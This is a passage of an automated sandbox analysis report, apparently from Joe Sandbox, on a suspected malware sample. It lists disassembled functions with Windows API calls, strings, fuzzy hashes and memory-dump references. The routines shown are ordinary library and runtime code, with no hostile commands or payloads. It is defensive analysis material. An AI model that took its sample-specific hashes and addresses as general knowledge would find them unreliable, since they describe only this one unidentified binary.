Instruction ID: 7c4c11a2dddb72ba6e02242f47b30f39fdadc108ab8537c06b584eb29b98c2af
Opcode Fuzzy Hash: 82a8751b84f09603ba11f481d45c7ea045fa609579e678804dedf504626bede6
Instruction Fuzzy Hash: E4F04FB9900218EBCB10EBA0ED49DDE7BBCEB48744F5000B6F945D7150DA74AE46CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004251E5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0042BD48: EnterCriticalSection.KERNEL32(0044AF54,?,00000000,?,00000000,0042B7B5,00000010,?,?,00000000,?,?,0042B396,0042B349,00429E06,0040C70D), ref: 0042BD76
Part of subcall function 0042BD48: InitializeCriticalSection.KERNEL32(00000000,?,00000000,?,00000000,0042B7B5,00000010,?,?,00000000,?,?,0042B396,0042B349,00429E06,0040C70D), ref: 0042BD88
Part of subcall function 0042BD48: LeaveCriticalSection.KERNEL32(0044AF54,?,00000000,?,00000000,0042B7B5,00000010,?,?,00000000,?,?,0042B396,0042B349,00429E06,0040C70D), ref: 0042BD91
Part of subcall function 0042BD48: EnterCriticalSection.KERNEL32(00000000,00000000,?,00000000,0042B7B5,00000010,?,?,00000000,?,?,0042B396,0042B349,00429E06,0040C70D), ref: 0042BDA3

LoadLibraryA.KERNEL32(hhctrl.ocx,0042AFC8,0000000C), ref: 00425209
GetProcAddress.KERNEL32(00000000,HtmlHelpA), ref: 0042521C
FreeLibrary.KERNEL32(?), ref: 0042522C

Strings

hhctrl.ocx, xrefs: 00425204
HtmlHelpA, xrefs: 00425216

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CriticalSection$EnterLibrary$AddressFreeInitializeLeaveLoadProc
String ID: HtmlHelpA$hhctrl.ocx
API String ID: 823138501-63838506
Opcode ID: 3235c455f9abb7d201993a8a1dfe31dcfc0dd767c571edfdb62f33c42e434520
Instruction ID: 01c63ba424afe4957a6b3b467abc3637d649f32ce2fea976250ac632f5fbc3be
Opcode Fuzzy Hash: 3235c455f9abb7d201993a8a1dfe31dcfc0dd767c571edfdb62f33c42e434520
Instruction Fuzzy Hash: 90F08130744721EBD7209F61E90AB07B7E1AF54B06F80883EF046A20A0C73998148B2A

Uniqueness

Uniqueness Score: -1.00%

Function 0041722A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(mscoree.dll,004173A1,?,?,004173C2,?,00000001,00000000,0041CA21,00000003), ref: 0041722F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0041723F
ExitProcess.KERNEL32 ref: 00417253

Strings

mscoree.dll, xrefs: 0041722A
CorExitProcess, xrefs: 00417239

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$mscoree.dll
API String ID: 75539706-1276376045
Opcode ID: 646f169376bb85f1c7a0c0c6dfab7f1782379c0f79f95e05adf5e4d60cba3fd9
Instruction ID: 6d5ffb320b5c84a2b93882608c5028e86e814d1ab6817c3f9ce84d69c9d90742
Opcode Fuzzy Hash: 646f169376bb85f1c7a0c0c6dfab7f1782379c0f79f95e05adf5e4d60cba3fd9
Instruction Fuzzy Hash: 96D0C7303C4200EBD6201B71DD0DE1B3A74AE61F01B84D479B851D1161CB75DC15992D

Uniqueness

Uniqueness Score: -1.00%

Function 00413BE3 Relevance: 7.9, APIs: 5, Instructions: 386COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00413C4D
VariantClear.OLEAUT32(00000007), ref: 00413F7B
VariantClear.OLEAUT32(?), ref: 004140F0

Part of subcall function 004150C1: VariantCopy.OLEAUT32(?,?), ref: 004150C9

Part of subcall function 0041068B: SystemTimeToVariantTime.OLEAUT32(?), ref: 004106D9

VariantClear.OLEAUT32(?), ref: 004140D0

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Variant$Clear$Time$CopySystem
String ID:
API String ID: 2058121879-0
Opcode ID: 5fca67dab6d645ae0528530928cc235c45b69b13cbb83de34b48013661cf2efe
Instruction ID: e55dc214bb347d680c00c7b0307744ac7d9360fc785a26e3059a799186a01771
Opcode Fuzzy Hash: 5fca67dab6d645ae0528530928cc235c45b69b13cbb83de34b48013661cf2efe
Instruction Fuzzy Hash: 94E16F7090011CEACF15DBA5C890AFEBBB9FF48304F14809BE855A7291DB385A89DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00414111 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 004141BB
SysFreeString.OLEAUT32(?), ref: 00414238
SysFreeString.OLEAUT32(?), ref: 00414246
SysFreeString.OLEAUT32(?), ref: 00414254
VariantClear.OLEAUT32(?), ref: 00414269

Part of subcall function 00413BE3: VariantClear.OLEAUT32(?), ref: 00413C4D

Part of subcall function 004150C1: VariantCopy.OLEAUT32(?,?), ref: 004150C9

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Variant$ClearFreeString$Copy
String ID:
API String ID: 3003973349-0
Opcode ID: 07ac1883145407bfd2158c196e3fcb000a03d1c9a0b2083fd5ca9be8544c246f
Instruction ID: 42ef2da4cf5b7abc8d447338bc900a50df6f05a4ba720132606da66aa4bd1274
Opcode Fuzzy Hash: 07ac1883145407bfd2158c196e3fcb000a03d1c9a0b2083fd5ca9be8544c246f
Instruction Fuzzy Hash: E65107B190020AEFCB14CFE4C9849EEBBB9FF88304F64456EE516A7251D734A985CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6F0 Relevance: 7.6, APIs: 5, Instructions: 131COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 0040C719
LoadResource.KERNEL32(?,00000000), ref: 0040C725
LockResource.KERNEL32(00000000), ref: 0040C73A
FreeResource.KERNEL32(00000000), ref: 0040C76C
GetDlgItem.USER32(?,00000001), ref: 0040C810

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Resource$FindFreeItemLoadLock
String ID:
API String ID: 996205394-0
Opcode ID: 933fe36362147815a0cb829be6fd4c4082cb2c7b05a93c302a9bad478cfa2e61
Instruction ID: 9a54128b345b6d8dc0d7652822505e1427a01eb8725f7af53416f086ccaa2b8d
Opcode Fuzzy Hash: 933fe36362147815a0cb829be6fd4c4082cb2c7b05a93c302a9bad478cfa2e61
Instruction Fuzzy Hash: C6511835A0020AEFCB10DF59C484A9EBBB1FF48311F54857AE815AB391D774DA51CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0258566D Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 025860B5
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 025860D2
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 02586105
CloseHandle.KERNEL32(?), ref: 0258632F

Strings

nullfalsetrue\"\\\b\f\n\r\t0123456789abcdef[],{ ,, xrefs: 0258563C

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID: nullfalsetrue\"\\\b\f\n\r\t0123456789abcdef[],{ ,
API String ID: 1910495013-2124985433
Opcode ID: f87a83598c87a8b148fd956fb6f5f26ff7bc571ef5c4006697b1363074591fff
Instruction ID: 56d9c6cfcccd8676c71f214ae4fa83925e4960d78546302cbd9dd622de257e94
Opcode Fuzzy Hash: f87a83598c87a8b148fd956fb6f5f26ff7bc571ef5c4006697b1363074591fff
Instruction Fuzzy Hash: 73413931A04200DFDF25EF20C884BEA7BA6FF94304F144869DD455F295EB719885CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00429379 Relevance: 7.6, APIs: 5, Instructions: 100windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004292DB: GetParent.USER32(?), ref: 0042932E
Part of subcall function 004292DB: GetLastActivePopup.USER32(?), ref: 0042933D
Part of subcall function 004292DB: IsWindowEnabled.USER32(?), ref: 00429352
Part of subcall function 004292DB: EnableWindow.USER32(?,00000000), ref: 00429365

EnableWindow.USER32(?,00000001), ref: 004293B2
SendMessageA.USER32(?,00000376,00000000,00000000), ref: 004293C6
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,00000000), ref: 00429437
MessageBoxA.USER32(?,?,?,?), ref: 00429445
EnableWindow.USER32(00000000,00000001), ref: 00429461

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Window$Enable$Message$ActiveEnabledFileLastModuleNameParentPopupSend
String ID:
API String ID: 489645344-0
Opcode ID: e5219f551e2044f1e9824b379428219b61050e8523d1673e1e04a8c83f224b8f
Instruction ID: b24da1c36bf129903a3f53721541c8c3187d1228906e7f3a5e596f08f38fdc97
Opcode Fuzzy Hash: e5219f551e2044f1e9824b379428219b61050e8523d1673e1e04a8c83f224b8f
Instruction Fuzzy Hash: 5D318771B00128ABCB20EFA5EC85EEFB7B5EF48700F94456AE551E7280C7759D41CB64

Uniqueness

Uniqueness Score: -1.00%

Function 025AC263 Relevance: 7.6, APIs: 6, Instructions: 91memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,025B5E00), ref: 025AC2D6
HeapFree.KERNEL32(00000000,?,?,025B5E00), ref: 025AC2F1
HeapFree.KERNEL32(00000000,?,?,025B5E00), ref: 025AC2FD
HeapFree.KERNEL32(00000000,?,?,025B5E00), ref: 025AC309
HeapFree.KERNEL32(00000000,?,?,025B5E00), ref: 025AC313
HeapFree.KERNEL32(00000000,?,?,025B5E00), ref: 025AC325

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a3210fbaac0e3c772955a45661e3ca4686840108efc0921b537d131586d61328
Instruction ID: 0282c388014b58b5ae6d253a2ca1a2d537e2f693d62c12d35b71bdfd5770e3f8
Opcode Fuzzy Hash: a3210fbaac0e3c772955a45661e3ca4686840108efc0921b537d131586d61328
Instruction Fuzzy Hash: BA31F170A40604AFDB35AF14DC50A1EBBF6FF8870AF10482AE98547660D731ECA5DB9C

Uniqueness

Uniqueness Score: -1.00%

Function 02585646 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000), ref: 025858DF
HeapFree.KERNEL32(00000000,?), ref: 02585969
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 025860B5
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 025860D2
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 02586105
CloseHandle.KERNEL32(?), ref: 0258632F

Strings

falsetrue\"\\\b\f\n\r\t0123456789abcdef[],{ ,, xrefs: 0258564F, 02585890

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID: falsetrue\"\\\b\f\n\r\t0123456789abcdef[],{ ,
API String ID: 1910495013-2845428148
Opcode ID: 460c726a98bc7e94708f476ea1c035732b96b3ceecb9a7a325cccec93d008849
Instruction ID: ad8346544ed424e01c32f094d1fbdaa111f11cc33bc2551c9b5c12077da84aba
Opcode Fuzzy Hash: 460c726a98bc7e94708f476ea1c035732b96b3ceecb9a7a325cccec93d008849
Instruction Fuzzy Hash: F7312671604200DFEF25EF20D8887E97BA6BB84309F084878DD499F296CB755899CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00429CB3 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

GetMapMode.GDI32(?,?,?,?,?,?,0040F257,?,00000000,?,7689CA20), ref: 00429CC3
GetDeviceCaps.GDI32(?,00000058), ref: 00429CFD
GetDeviceCaps.GDI32(?,0000005A), ref: 00429D06

Part of subcall function 0042873E: MulDiv.KERNEL32(?,00000000,00000000), ref: 0042877B
Part of subcall function 0042873E: MulDiv.KERNEL32(00000000,00000000,00000000), ref: 00428796

MulDiv.KERNEL32(?,000009EC,00000060), ref: 00429D2A
MulDiv.KERNEL32(00000000,000009EC,7689CA20), ref: 00429D35

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CapsDevice$Mode
String ID:
API String ID: 696222070-0
Opcode ID: 8d1704f2616a026b9f43863089cc8eee421a8b68ef1a552184c7b2fb0bd61b6a
Instruction ID: 6e1b7dccc2bf6b9828f3aa7ea2882f5d8b0ed906ddf1c8cc2095083f4007e547
Opcode Fuzzy Hash: 8d1704f2616a026b9f43863089cc8eee421a8b68ef1a552184c7b2fb0bd61b6a
Instruction Fuzzy Hash: DD110235700610AFCB219F55DC44C1EBBF9EF89310BA1443AF98697320C7759C029F94

Uniqueness

Uniqueness Score: -1.00%

Function 00429D41 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

GetMapMode.GDI32(?,00000000,?,?,?,?,0040F28B,?), ref: 00429D51
GetDeviceCaps.GDI32(?,00000058), ref: 00429D8B
GetDeviceCaps.GDI32(?,0000005A), ref: 00429D94

Part of subcall function 004286DB: MulDiv.KERNEL32(0040F28B,00000000,00000000), ref: 00428718
Part of subcall function 004286DB: MulDiv.KERNEL32(4689EC45,00000000,00000000), ref: 00428733

MulDiv.KERNEL32(0040F28B,00000060,000009EC), ref: 00429DB8
MulDiv.KERNEL32(4689EC45,?,000009EC), ref: 00429DC3

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CapsDevice$Mode
String ID:
API String ID: 696222070-0
Opcode ID: 0b9c2ff3e9452577eaa4e4a24d119cdaa1b7e241cf6bc29e48a8d0425e4ee19a
Instruction ID: b40078db713edfd21a9873406d00821ab7b1675308a8c764c818c18d3d9003fc
Opcode Fuzzy Hash: 0b9c2ff3e9452577eaa4e4a24d119cdaa1b7e241cf6bc29e48a8d0425e4ee19a
Instruction Fuzzy Hash: 79110E35700610AFDB21AF15DC44C1EBBFAEF89710B91442AF98697320CB75EC02DB88

Uniqueness

Uniqueness Score: -1.00%

Function 00419CEF Relevance: 7.5, APIs: 5, Instructions: 37threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,77D5FBD0,0041821A,004187D7,76170A60,?,?,00418843,?,?,?,0041540F,00000004,0043A458,0000000C,00418764), ref: 00419CF1
TlsGetValue.KERNEL32(?,00418843,?,?,?,0041540F,00000004,0043A458,0000000C,00418764,76170A60,?,00419CD6,00419D7E,00415EBE), ref: 00419CFF
SetLastError.KERNEL32(00000000,?,00418843,?,?,?,0041540F,00000004,0043A458,0000000C,00418764,76170A60,?,00419CD6,00419D7E,00415EBE), ref: 00419D55

Part of subcall function 0041D4E0: HeapAlloc.KERNEL32(00000008,?,0043B1F8,00000010,00419D17,00000001,00000088,?,00418843,?,?,?,0041540F,00000004,0043A458,0000000C), ref: 0041D562

TlsSetValue.KERNEL32(00000000,?,00418843,?,?,?,0041540F,00000004,0043A458,0000000C,00418764,76170A60,?,00419CD6,00419D7E,00415EBE), ref: 00419D26
GetCurrentThreadId.KERNEL32 ref: 00419D3E

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread
String ID:
API String ID: 2020098873-0
Opcode ID: c0dde2ab6abc5d13967d72fca5861c1375e6e24a54f52db835ed15053f81b895
Instruction ID: 9c9c253482250aba246a1314c7731adacca6fb7c4ca25a5bf85d0a0605742cb6
Opcode Fuzzy Hash: c0dde2ab6abc5d13967d72fca5861c1375e6e24a54f52db835ed15053f81b895
Instruction Fuzzy Hash: 0FF0C271701B119FE7301BA0FC097967BB0EF02B65B90463AE941DA2A0CBB88C458798

Uniqueness

Uniqueness Score: -1.00%

Function 0042BB89 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32(00595A18,?,?,0042BC00,00000000,00000001), ref: 0042BBAF
GlobalHandle.KERNEL32(00563488), ref: 0042BBBD
GlobalUnlock.KERNEL32(00000000,?,?,0042BC00,00000000,00000001), ref: 0042BBC6
GlobalFree.KERNEL32(00000000), ref: 0042BBCD
DeleteCriticalSection.KERNEL32(0044AEBC,?,?,0042BC00,00000000,00000001), ref: 0042BBD7

Part of subcall function 0042B9F1: EnterCriticalSection.KERNEL32(?), ref: 0042BA4E
Part of subcall function 0042B9F1: LeaveCriticalSection.KERNEL32(?,?), ref: 0042BA5E
Part of subcall function 0042B9F1: LocalFree.KERNEL32(?), ref: 0042BA67
Part of subcall function 0042B9F1: TlsSetValue.KERNEL32(?,00000000), ref: 0042BA79

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CriticalFreeGlobalSection$DeleteEnterHandleLeaveLocalUnlockValue
String ID:
API String ID: 1549993015-0
Opcode ID: 42da1f527a2b0c3e69970945b8ac3fb8113e542abeed7d7280077cbdc7271ade
Instruction ID: c978259d00606411c06b9666accebdfa32c1b0646b29e90d722105786fdf7326
Opcode Fuzzy Hash: 42da1f527a2b0c3e69970945b8ac3fb8113e542abeed7d7280077cbdc7271ade
Instruction Fuzzy Hash: 72F090313006209BC6319B28FC08E6B37B9DF847253D50639F915D3655D728EC0686AC

Uniqueness

Uniqueness Score: -1.00%

Function 004130C1 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 282memoryCOMMON

Download Yara Rule

APIs

CoTaskMemAlloc.OLE32(?,?,?,00000000), ref: 004131DF
CoTaskMemFree.OLE32(?,?,00000000), ref: 004133C4

Strings

(, xrefs: 004133B8
, xrefs: 0041329E

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
